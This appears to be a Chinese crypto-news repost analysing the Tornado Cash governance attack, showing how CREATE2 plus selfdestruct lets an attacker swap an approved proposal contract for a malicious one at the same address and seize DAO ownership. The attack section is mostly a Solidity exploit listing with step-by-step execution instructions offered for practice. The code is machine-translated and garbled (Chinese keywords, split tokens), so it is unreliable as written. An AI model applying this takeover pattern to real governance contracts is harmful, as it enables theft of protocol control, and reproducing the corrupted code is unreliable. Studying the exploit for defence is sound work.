大约两周前(5月20日),知名混合货币协议Tornado Cash遭遇治理攻击,黑客获得了Tornado Cash的治理合同所有者。
攻击过程是这样的:攻击者先提交一个“看似正常”的提案,提案通过后,他破坏了要执行提案的契约地址,并在该地址重新创建了一个攻击契约。
攻击过程请查看鲨鱼队龙卷风攻击原理分析。现金提案。
代码参考来自:https://solidity-by-example . org/hackers/deploy-different-contracts-same-address/
首先用Create2部署一个契约部署器,并在部署器中创建一个目标契约提议(供提议使用)。自毁包括在部署者和提议合同中。
提案通过后,攻击者破坏部署者和提案契约,然后用相同的slat重新创建部署者。Deployer字节码不变,slat也不变,所以你会得到和以前一样的Deployer契约地址,但是此时Deployer契约的状态被清除为空,nonce从0开始,所以你可以用nonce创建另一个契约攻击。
攻击代码示例此代码来自:https://solidity-by-example . org/hackers/deploy-different-contracts-same-address/
//spdx-license-identifier:MIT pragma solidity ^0.8.17;协定DAO {结构建议{地址目标;bool批准;bool已执行;}地址公共所有者= msg.sender提案[]公共提案;函数approve(地址目标)external { require(msg . sender = = owner,“未授权”);proposals . push(Proposal({ target:target,approved: true,executed:false });} function execute(uint 256 Proposal id)外部应付{建议存储建议=建议[Proposal id];要求(提案.批准,“未批准”);要求(!proposal.executed,“已执行”);proposal.executed = true(bool ok,)= proposal . target . delegatecall(ABI . encodewithsignature(" execute proposal()"));require(ok,“delegatecall失败”);} }合同建议{事件日志(字符串消息);函数execute proposal()external { emit Log(" DAO批准的执行代码");}函数emergencyStop() external {自毁(应付款(地址(0)));} }契约攻击{事件日志(字符串消息);公共所有者地址;函数execute proposal()external { emit Log(" DAO未批准执行的代码:));//例如——将DAO的所有者设置为攻击者owner = msg.sender} }合同部署者部署者{事件日志(地址addr);函数deploy()external { bytes 32 salt = ke ccak 256(ABI . encode(uint(123));address addr = address(新部署者{ salt:salt }());发出日志(地址);} }合同部署者{事件日志(地址addr);函数deploy Proposal()external { address addr = address(new Proposal());发出日志(地址);} function deployAttack()external { address addr = address(new Attack());发出日志(地址);} function kill()外部{ self destruct(payable(address(0)));}}你可以用这段代码自己再混音练习一下。
首先部署部署器,调用DeployerDeployer.deploy()部署部署器,然后调用Deployer.deployProposal()部署提议。
获得建议合同地址后,向DAO发起建议。
调用Deployer.kill和Proposal.emergencyStop分别销毁Deployer和Proposal。
调用DeployerDeployer.deploy()再次部署Deployer,调用Deployer.deployAttack()部署攻击,会和前面的提议一致。
执行DAO.execute时,攻击完成,获得DAO的所有者权限。
温馨提示:注:内容来源均采集于互联网,不要轻信任何,后果自负,本站不承担任何责任。若本站收录的信息无意侵犯了贵司版权,请给我们来信,我们会及时处理和回复。
原文地址"解析Tornado治理攻击:如何同一个地址上部署不同的合约":http://www.ljycsb.cn/qukuailian/215931.html。

微信扫描二维码投放广告
▲长按图片识别二维码